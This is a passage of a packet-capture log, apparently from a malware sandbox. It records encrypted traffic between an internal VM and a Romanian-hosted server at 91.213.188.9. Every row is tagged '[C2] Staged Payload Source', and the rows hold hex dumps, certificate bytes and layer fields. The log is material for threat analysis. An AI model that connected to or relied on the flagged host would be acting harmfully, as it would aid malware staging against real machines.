f0474f8af1290475dacde19a5cff5e9d9895ba9a43d04aa21705010430d332b38f0203010001a381f83081f5300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030206082b0601050507030130120603551d130101ff040830060101ff020100301d0603551d0e04160414e7ab9f0f2c33a053d35e4f78c8b2840e3bd69233301f0603551d2304183016801479b459e67bb6e5e40173800888c81a58f6e99b6e303206082b0601050507010104263024302206082b060105050730028616687474703a2f2f78312e692e6c656e63722e6f72672f30130603551d20040c300a3008060667810c01020130270603551d1f0420301e301ca01aa0188616687474703a2f2f78312e632e6c656e63722e6f72672f300d06092a864886f70d01010b0500038202010051375852a1229b35bb4dbaceca92ea09f2fb54ec187ff43bf4e1f97072c265e8207d08437289e593b2a087c6f4be2fbf5ee5aeec237c9ff50f7a0d6fa371beb5a5e2aebcadb614229c01c6c1cfd475b3b28096bdcee05c572aa81f70974d70c89d3fbc6be73768454c2764adfa94a7e1e77e5a40e9f228ec8a3bc4c85c04e3b86e956d0bb738e0f5f395e4f9ab83fcf159b46e2fe9340c10c71097a79c2b007a7edcdf93e6c7b8e9989fc7b60461727cf4ca3481bf2230e8bd5022ea640afd9204e0d3ff10c3de07d04322afeaba15e06d8485f13202c5a99a88f18c25021a2ca0f7b16f0ed9bf34ad8b49cf65c9b2b107bdc8dbe3f61b709a5a9befa40887095bb7d235bc182c4a75f86c5ed9c8cb68a6b2442a559da6d0f9b1a1b6f6f13b9cafbc412bb0adc2f3eb6fbf68b3bbb65cfdcee5ff5bfc7eba18dc91ae09515e5ad88c8d681982ff7f82359ff4a0bac75ae96bc0e82d7dd24c63535e58d76987538f81c7247d731da18464bd7c08cc64a26cb36f2ac6fcfa031bb809a0e644d6692bfa50ad7175ef25c25e49845a0bd2384672e99f6971b2c854419c915fe255eab400ea36a6483da78411232d2d2b676244434b485d8acac1706d8e81dba045785b37bf5b185518455bd9cb90ead0569a2b092d0ac9999fc150fcf6a49396772d2dc66721abe32ac294bb59c0d62534c9831d61ea4a47b9566e7c21771ddec289160303012c0c00012803001d20aee9a79671a650034f6c4728817d5ced772242641d8e69587c44f3c354eac24a08040100a79180cbb626c2a0422906f0d45361dff8fcfeaf9c85aa4bda15fbea6f76e954eb4ece5bcde7ee2a94dc313c4fe1c2a39f8d225333d8f9788398ef860689ada0fa4e40eea07226348fb94c6477eb99861364d3a8ef53a2deb13ecefb0132f97a76adfc0cb32cfb068775cd3510427babc20bcd20e9660418df2e5b3ec76b67bfc97b7bc452076751511c72f843ed2ba31dc36122fd9d6f14fedbc83bb33ddda8737a948af649189476cc09756c0bfb9b44d93c46b32426c23eb0011b38a32645fc81d167bc274e1474a200c93cde940d8c6ad320a4441e03f1118a9c16691e96d3e83a9a6f23d6e8e6ce2fb954a7c7dee1dfe879812eac864a3fc018e8ec0a7516030300040e000000,\"....a...]..\\3...r..q...A...x>..M=..DOWNGRD. ..P....#..D.x.H;a....U=......eq..0...........................\n...\n..\n....0...0............?Y.d.j.x..d...t.0\n.\t*.H..\n.....031.0\t..U....US1.0...U.\n.\nLet's Encrypt1.0\n..U....R130..\n260331071445Z.\n260629071444Z0.1.0...U....mgh-web9.maghost.ro0..\"\"0\n.\t*.H..\n..........0..\n.......U..{W\n..`..P....0.Ep..M.\\)GL..+..G......v...}z.{...2.Z.GL0.W..x.l..*.|uBK!.!.dS..PAe..rBf..P.....l....... q.S^.r_YZ.M&...K..o...|.7..x.NUh.1.D..Dd.B...'._.'+....g.Y...I...4H.Dh.P....n....Cq...j%.\nh..h..)1.Ob...q$..=^Y.........7..#X+..z@....Q....N.....]..........!0...0...U...........0...U.%..0\n..+.......0...U.......0.0...U........>*s9#R..f.m.@.t...0...U.#..0.......,3.S.^Ox....;..303..+........'0%0#..+.....0...http://r13.i.lencr.org/0...U....0...mgh-web9.maghost.ro0...U. ..0\n0...g.....0/..U...(0&0$.\"\". ..http://r13.c.lencr.org/106.crl0....\n+.....y............}.q~...8.m...I=1.Z.b.v-B.....g..a.....B.;.......\n.y....F0D. GR|..5..%`....'.m.....3.}.6e&.... ..(..f..Fk..ge.f\"\"..Z....Y...S....v..n..h.~f5.?7.....<A.......1.#.......B.<......G0E. ....\tw..L(p..a.v.a@f..~.......=..!...O...\t..L[.&..*......a4k.....LS0\n.\t*.H..\n..........[.V..bxAd.5>{.\t..|...d.Y.. g[........4|.r....3A...8Rk$.mA....n.6.4..x..(..%.<.lWH...P....T._..c(.....(...3._T.w..:;....S..i4Z.j.50..2.% ...y..fSA..m......_.. '.\n^#.4..].t).....C.G..!....!.......j.U.R...z..4E.v.|..\n@.....4.U.B.9.&......_.7.4...s..b.4.+..P....\t0...0..........Z.........AW.)..0\n.\t*.H..\n.....0O1.0\t..U....US1)0'..U.\n. Internet Security Research Group1.0...U....ISRG Root X10..\n240313000000Z.\n270312235959Z031.0\t..U....US1.0...U.\n.\nLet's Encrypt1.0\n..U....R130..\"\"0\n.\t*.H..\n..........0..\n......gp..V.d..a........&P7..c.T............`QCH}+.H...-...';W........0.o......2>XN5oEXhq..>.]../.Ql..].Y.5e.....7...].I.4..+....q,..........^|........\n]..{..vBp..M\"\"..wo.._...u..W...\\..s.h..t.u.~........8.\nD.....I5.\n4.....GN..\n6.GO..).u....\\.^.....C.J.....0.2..........0..0...U...........0...U.%..0...+.........+.......0...U.......0.......0...U..........,3.S.^Ox....;..30...U.#..0...y.Y.{....s.....X...n02..+........&0$0\"\"..+.....0...http://x1.i.lencr.org/0...U. ..0\n0...g.....0'..U... 0.0.......http://x1.c.lencr.org/0\n.\t*.H..\n..........Q7XR.\"\".5.M.....\t..T....;...pr.e. }.Cr........./.^...#|...z\no.q.........\"\"......u.......\\W*..p.Mp..?.k.7hEL'd......~Z@..(..;..\\...n.m..8..........Y.n/.4.......+.z~............ar|..4..\"\"0..P\"\".d\n...........C\"\".....m...2.......%..,...o...4..I.e..........p.Z.....\t[..5..,Ju.l^...h..D*U.........;...A+.....o.h...\\....[.~.....\tQ^Z...h.....5.....Z.k..-}.LcS^X.i.S...$}s...d.|..d.l.o*......\t..D.i+.P.qu.%.^I.Z..8Fr..iq..TA.._.U....6.H=...#--+gbDCKH]...pm....Ex[7.[.U.E[.....V.+\t-\n....P.....w--.g!..*...Y..%4...a.JG.Vn|!w........,...(... ....q.P.OlG(.}\\.w\"\"Bd..iX|D..T..J.........&..B)...Sa........K....ov.T.N.[...*..1<O.....\"\"S3..x.........N@..r&4..Ldw....d...S...>...2.zv....,...u.5.B{.... .f....[>.kg..{{.R.gQQ.r.C.+...a\"\"..o....;.=..sz...I..v.\tul...D.<F.$&.>...8.&E...g.'N.t...<..\n.j. .D.......i....:.o#..../.T......y....J?....\nu.........\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 3047, \"\"id\"\": 37371, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 18918, \"\"src\"\": \"\"91.213.188.9\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 21, \"\"dport\"\": 50578, \"\"seq\"\": 4028115831, \"\"ack\"\": 4242043147, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 24329, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"16030300610200005d03035c3313dfa372b61d71f09bfb417f88aa783e94f94d3d0f12444f574e4752440120c79950c4ffecfb23ece144d6788e483b61e8fa91f3553d0fbdf58fd9b16571cfc030000015ff0100010000000000000b000403000102001700001603030a1a0b000a16000a1300050430820500308203e8a003020102021205c83f59e5641d6aa578c69b64f2a2ee74e9300d06092a864886f70d01010b05003033310b300906035504061302555331163014060355040a130d4c6574277320456e6372797074310c300a06035504031303523133301e170d3236303333313037313434355a170d3236303632393037313434345a301e311c301a060355040313136d67682d776562392e6d6167686f73742e726f30820122300d06092a864886f70d01010105000382010f003082010a0282010100dbc6558fb97b570afacd60e3b550c1da041130084570c7f74d805c29474c08d82bc1dd47f8d10edf1ae176c0f3ef7d7aff7b97949532be5af3474c30a357c01d78cd6ce6f82abe7c75424b219321d06453be18504165ceca7242668de450e68800d7a16cd0e9f2b02eca91207115535e19725f595afd4d260b88d84bc6876f85129d7ca937addd78b54e5568f731ee44ca1a4464064288ced427ef5f2e272be4ea828067cd59f6edc649e5f0b03448d24468f150db95bcf66ef6a0a5db43711486856a25070a68e610688a802931a14f628b8df07124a9b63d5e598ce313c5b3c108b5d737b91623582bc22e7a40ac85d306518e98d0b44ea5908b04865d9ae30203010001a38202213082021d300e0603551d0f0101ff0404030205a030130603551d25040c300a06082b06010505070301300c0603551d130101ff04023000301d0603551d0e04160414c5fd3e2a7339235293cf660b6dcd40e9749406d0301f0603551d23041830168014e7ab9f0f2c33a053d35e4f78c8b2840e3bd69233303306082b0601050507010104273025302306082b060105050730028617687474703a2f2f7231332e692e6c656e63722e6f72672f301e0603551d110417301582136d67682d776562392e6d6167686f73742e726f30130603551d20040c300a3008060667810c010201302f0603551d1f042830263024a022a020861e687474703a2f2f7231332e632e6c656e63722e6f72672f3130362e63726c3082010b060a2b06010401d6790204020481fc0481f900f7007d00717e95f3c2388a6db1e384493d31e15aa96208762d4200e0050cd067b5a661e20000019d42f43bd70008000005000d1179a1040300463044022047527cc5a535abd72560c8fc9e9727fa6d12f5cee1f233d27d01366526c4a88b02201db12883af660eb1466b1df46765e46622a2ed5acf9fb0b559f62e8353c3c002007600d16ea9a568077e6635a03f37a5ddbc03a53c411214d48818f5e931b323cb95040000019d42f43c2e000004030047304502201a1c108d097707144c2870e8c5611876f36140668ae57eb316d8da01eda43dfc022100b28e4ff7be9a09a7bb4c5baa26e8f82a8d9f9f2e8cc561346bbcabcdbb1b4c53300d06092a864886f70d01010b050003820101005bd256800862784164e1353e7bba09adef7c1cbdf0648a599dcd20675b8dbebca99ca591ba347ca9729908e88333410cc8e638526b24806d41be99a7b16eee36e03412bc7899d6281def25b83cf06c57480be47f501aa4b7ac54b75fd3d96328ca11931c1b28f3e0d233f05f540b77cbf73a3b9fc01f105319b369345a916a7f3530af87320f2520e582cc7993bb665341ada86d18ac16a7dfee5fe6f22027a70d5e23d434c1ca5dfd742901c2d9ade1431c4785da212eadc0d02110ad90fd00beca6ad255c05280fcf07ab60334458e76197c8e7f0d40bcf492f40b34895516428b398926ce98d385c6ee5fe63715341fb6a573dba9620534892bbac25006c600050930820505308202eda00302010202105a00f212d8d4b480f3924157ea298305300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3234303331333030303030305a170d3237303331323233353935395a3033310b300906035504061302555331163014060355040a130d4c6574277320456e6372797074310c300a0603550403130352313330820122300d06092a864886f70d01010105000382010f003082010a0282010100a567708dd0568164151761cdb906d4ad19908c2650379816639254dbd9cc840593ecd3ec081ba0605143487d2bc748969eb42dda9dc8273b57a19fabf0d60ed40e30ca6f9bb1d1d6a49d323e584e356f4558687117fc3ed85d82a02fb2516cb01a5db859ce3565c88ba1af1037ffe39c5dc2491734ff8c2b8b8df0bc712c930c1d05c4bac7cdaac95e7cd1c901f79c03f6fc0a5df4da7be6db764270ebf44d22da00776fd6c95f17fdda752ea5570cf6ea5cb6e073a568cfa174e275827e109fc1f5a2eb01e938b10a44ccd3c289f54935820a34b31ce988c2474e820e0a36f0474f8af1290475dacde19a5cff5e9d9895ba9a43d04aa21705010430d332b38f0203010001a381f83081f5300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030206082b0601050507030130120603551d130101ff040830060101ff020100301d0603551d0e04160414e7ab9f0f2c33a053d35e4f78c8b2840e3bd69233301f0603551d2304183016801479b459e67bb6e5e40173800888c81a58f6e99b6e303206082b0601050507010104263024302206082b060105050730028616687474703a2f2f78312e692e6c656e63722e6f72672f30130603551d20040c300a3008060667810c01020130270603551d1f0420301e301ca01aa0188616687474703a2f2f78312e632e6c656e63722e6f72672f300d06092a864886f70d01010b0500038202010051375852a1229b35bb4dbaceca92ea09f2fb54ec187ff43bf4e1f97072c265e8207d08437289e593b2a087c6f4be2fbf5ee5aeec237c9ff50f7a0d6fa371beb5a5e2aebcadb614229c01c6c1cfd475b3b28096bdcee05c572aa81f70974d70c89d3fbc6be73768454c2764adfa94a7e1e77e5a40e9f228ec8a3bc4c85c04e3b86e956d0bb738e0f5f395e4f9ab83fcf159b46e2fe9340c10c71097a79c2b007a7edcdf93e6c7b8e9989fc7b60461727cf4ca3481bf2230e8bd5022ea640afd9204e0d3ff10c3de07d04322afeaba15e06d8485f13202c5a99a88f18c25021a2ca0f7b16f0ed9bf34ad8b49cf65c9b2b107bdc8dbe3f61b709a5a9befa40887095bb7d235bc182c4a75f86c5ed9c8cb68a6b2442a559da6d0f9b1a1b6f6f13b9cafbc412bb0adc2f3eb6fbf68b3bbb65cfdcee5ff5bfc7eba18dc91ae09515e5ad88c8d681982ff7f82359ff4a0bac75ae96bc0e82d7dd24c63535e58d76987538f81c7247d731da18464bd7c08cc64a26cb36f2ac6fcfa031bb809a0e644d6692bfa50ad7175ef25c25e49845a0bd2384672e99f6971b2c854419c915fe255eab400ea36a6483da78411232d2d2b676244434b485d8acac1706d8e81dba045785b37bf5b185518455bd9cb90ead0569a2b092d0ac9999fc150fcf6a49396772d2dc66721abe32ac294bb59c0d62534c9831d61ea4a47b9566e7c21771ddec289160303012c0c00012803001d20aee9a79671a650034f6c4728817d5ced772242641d8e69587c44f3c354eac24a08040100a79180cbb626c2a0422906f0d45361dff8fcfeaf9c85aa4bda15fbea6f76e954eb4ece5bcde7ee2a94dc313c4fe1c2a39f8d225333d8f9788398ef860689ada0fa4e40eea07226348fb94c6477eb99861364d3a8ef53a2deb13ecefb0132f97a76adfc0cb32cfb068775cd3510427babc20bcd20e9660418df2e5b3ec76b67bfc97b7bc452076751511c72f843ed2ba31dc36122fd9d6f14fedbc83bb33ddda8737a948af649189476cc09756c0bfb9b44d93c46b32426c23eb0011b38a32645fc81d167bc274e1474a200c93cde940d8c6ad320a4441e03f1118a9c16691e96d3e83a9a6f23d6e8e6ce2fb954a7c7dee1dfe879812eac864a3fc018e8ec0a7516030300040e000000\"\"}}]\"\n2026-04-26 14:31:21.620002,64,TCP 192.168.122.168:50578 -> 91.213.188.9:21,192.168.122.168,91.213.188.9,50578,21,TCP,Internal,Private Network,,,,,,Romania,Unknown,49468,Magit'st Srl,45.9968,24.997,91.213.188.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=4242043147 Ack=4028118838,525400577f945254007bb792080045000028dc6240008006cb3dc0a87aa85bd5bc09c5920015fcd8710bf018373650100402534a0000,RT.W..RT.{....E..(.b@....=..z.[..\t......q...76P...SJ..,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 56418, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 52029, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"91.213.188.9\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50578, \"\"dport\"\": 21, \"\"seq\"\": 4242043147, \"\"ack\"\": 4028118838, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 21322, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:31:21.660193,65,TCP 192.168.122.168:50578 -> 91.213.188.9:21,192.168.122.168,91.213.188.9,50578,21,TCP,Internal,Private Network,,,,,,Romania,Unknown,49468,Magit'st Srl,45.9968,24.997,91.213.188.0/24,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=4242043147 Ack=4028118838,525400577f945254007bb792080045000085dc6340008006cadfc0a87aa85bd5bc09c5920015fcd8710bf01837365018040253a700001603030025100000212029299fb24769f840d7c1d6e44c95c36826efdd8164b71a64738ced6dd24e0c1d14030300010116030300280000000000000000aab233e3f23bb240c389cd0b99d959ffaa788ca37d1904396c69cf860278b17d,....%...! ))..Gi.@....L..h&...d..ds..m.N............(..........3..;.@......Y..x..}..9li...x.},[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 133, \"\"id\"\": 56419, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 51935, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"91.213.188.9\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50578, \"\"dport\"\": 21, \"\"seq\"\": 4242043147, \"\"ack\"\": 4028118838, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1026, \"\"chksum\"\": 21415, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1603030025100000212029299fb24769f840d7c1d6e44c95c36826efdd8164b71a64738ced6dd24e0c1d14030300010116030300280000000000000000aab233e3f23bb240c389cd0b99d959ffaa788ca37d1904396c69cf860278b17d\"\"}}]\"\n2026-04-26 14:31:21.660223,66,TCP 91.213.188.9:21 -> 192.168.122.168:50578,91.213.188.9,192.168.122.168,21,50578,TCP,Romania,Unknown,49468,Magit'st Srl,45.9968,24.997,91.213.188.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4028118838 Ack=4242043240,5254007bb792525400577f9408004500002891fe4000400655a25bd5bc09c0a87aa80015c592f0183736fcd8716850100053534a0000,RT.{..RT.W....E..(..@.@.U.[..\t..z.......76..qhP..SSJ..,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 37374, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 21922, \"\"src\"\": \"\"91.213.188.9\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 21, \"\"dport\"\": 50578, \"\"seq\"\": 4028118838, \"\"ack\"\": 4242043240, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 21322, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:31:22.043482,67,TCP 91.213.188.9:21 -> 192.168.122.168:50578,91.213.188.9,192.168.122.168,21,50578,TCP,Romania,Unknown,49468,Magit'st Srl,45.9968,24.997,91.213.188.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=4028118838 Ack=4242043240,5254007bb792525400577f9408004500005b91ff40004006556e5bd5bc09c0a87aa80015c592f0183736fcd8716850180053537d00001403030001011603030028e006c7a13676422a4e4cd16f04ff413b60801e76351b9d130db34970a953918fe57ed120bd8d4cb1,\"..........(....6vB*NL.o..A;`..v5...\n.Ip.S...~. ..L.\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 91, \"\"id\"\": 37375, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 21870, \"\"src\"\": \"\"91.213.188.9\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 21, \"\"dport\"\": 50578, \"\"seq\"\": 4028118838, \"\"ack\"\": 4242043240, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 21373, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1403030001011603030028e006c7a13676422a4e4cd16f04ff413b60801e76351b9d130db34970a953918fe57ed120bd8d4cb1\"\"}}]\"\n2026-04-26 14:31:22.099332,68,TCP 192.168.122.168:50578 -> 91.213.188.9:21,192.168.122.168,91.213.188.9,50578,21,TCP,Internal,Private Network,,,,,,Romania,Unknown,49468,Magit'st Srl,45.9968,24.997,91.213.188.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=4242043240 Ack=4028118889,525400577f945254007bb792080045000028dc6440008006cb3bc0a87aa85bd5bc09c5920015fcd87168f018376950100402534a0000,RT.W..RT.{....E..(.d@....;..z.[..\t......qh..7iP...SJ..,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 56420, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 52027, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"91.213.188.9\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50578, \"\"dport\"\": 21, \"\"seq\"\": 4242043240, \"\"ack\"\": 4028118889, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 21322, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:31:22.174321,69,TCP 192.168.122.168:50578 -> 91.213.188.9:21,192.168.122.168,91.213.188.9,50578,21,TCP,Internal,Private Network,,,,,,Romania,Unknown,49468,Magit'st Srl,45.9968,24.997,91.213.188.0/24,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=4242043240 Ack=4028118889,525400577f945254007bb79208004500005edc6540008006cb04c0a87aa85bd5bc09c5920015fcd87168f01837695018040253800000170303003100000000000000018264e28fc05a14fa82a0a03a18112e2786e4b3fec343485366b3e5a74e8d280e456e30cfc18ede5a64,....1.........d...Z.....:...'.....CHSf...N.(.En0....Zd,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 94, \"\"id\"\": 56421, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 51972, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"91.213.188.9\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50578, \"\"dport\"\": 21, \"\"seq\"\": 4242043240, \"\"ack\"\": 4028118889, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1026, \"\"chksum\"\": 21376, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"170303003100000000000000018264e28fc05a14fa82a0a03a18112e2786e4b3fec343485366b3e5a74e8d280e456e30cfc18ede5a64\"\"}}]\"\n2026-04-26 14:31:22.174345,70,TCP 91.213.188.9:21 -> 192.168.122.168:50578,91.213.188.9,192.168.122.168,21,50578,TCP,Romania,Unknown,49468,Magit'st Srl,45.9968,24.997,91.213.188.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4028118889 Ack=4242043294,5254007bb792525400577f9408004500002892004000400655a05bd5bc09c0a87aa80015c592f0183769fcd8719e50100053534a0000,RT.{..RT.W....E..(..@.@.U.[..\t..z.......7i..q.P..SSJ..,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 37376, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 21920, \"\"src\"\": \"\"91.213.188.9\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 21, \"\"dport\"\": 50578, \"\"seq\"\": 4028118889, \"\"ack\"\": 4242043294, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 21322, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:31:22.551505,71,TCP 91.213.188.9:21 -> 192.168.122.168:50578,91.213.188.9,192.168.122.168,21,50578,TCP,Romania,Unknown,49468,Magit'st Srl,45.9968,24.997,91.213.188.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=4028118889 Ack=4242043294,5254007bb792525400577f94080045000078920140004006554f5bd5bc09c0a87aa80015c592f0183769fcd8719e50180053539a0000170303004be006c7a13676422b4f695ff1e0520dcf87c65033ea69e0c7e73dd153305f40a05d6c07ad13a076faf11a03a6b5fe5ed8eadc834c520b64eb4d961a90d53e62935d50dec12889f78d6dd3dd,\"....K....6vB+Oi_..R\n...P3.i...=.S0_@.]l....v.......^....LR.d.M....>b.]P..(...m..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 120, \"\"id\"\": 37377, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 21839, \"\"src\"\": \"\"91.213.188.9\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 21, \"\"dport\"\": 50578, \"\"seq\"\": 4028118889, \"\"ack\"\": 4242043294, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 21402, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": 